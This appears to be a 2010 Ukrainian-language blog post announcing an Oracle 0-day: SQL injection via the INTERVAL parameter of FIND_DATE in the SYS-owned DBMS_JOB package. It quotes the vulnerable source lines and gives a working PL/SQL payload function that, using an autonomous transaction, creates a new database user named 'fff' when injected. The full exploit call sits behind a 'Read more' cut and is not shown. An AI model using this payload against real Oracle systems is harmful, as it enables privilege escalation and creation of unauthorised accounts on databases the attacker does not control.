Archive

Posts Tagged ‘find_date’

TARGET: ORACLE. 0day експлойт

April 12th, 2010 dsu 2 comments

Не люблю багато писати, тому все швиденько та по порядку: шукав функцію вразливу до sql-injection під свої потреби, наткнувся на таку в пакеті dbms_job який належить sys користувачеві, функція find_date.

...
30 CUR := DBMS_SQL.OPEN_CURSOR;
31 BEGIN
32
33 DBMS_SYS_SQL.PARSE_AS_USER( CUR, 'select sysdate, ' || INTERVAL ||
34 ' from dual', DBMS_SQL.NATIVE );
...

INTERVAL – вразливий параметр. Але тут проблема: функція не оголошена в пакеті, тобто її можна використовувати тільки всередині пакету, під мої потреби це не підходить, хоча, можливо  комусь і буде потрібно. Але щоб довести справу до переможного кінця,  знайшов процедуру в пакеті яка цю функцію використовує, вона там не одна, але так як мені ця функція не підійшла, я взяв першу ліпшу.

...
134 MYDATE: = FIND_DATE (INTERVAL);
135 IF NOT NO_PARSE THEN
136 PARSE_JOB (WHAT);
137 END IF;
138
...

Створюємо функцію, хоча можна використати і курсор, але я віддаю перевагу старій школі.

CREATE OR REPLACE FUNCTION fff return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'create user fff identified by fff';
COMMIT;
RETURN 'sys';
END;
/

Ну і власне сам експлойт (під катом):
Read more...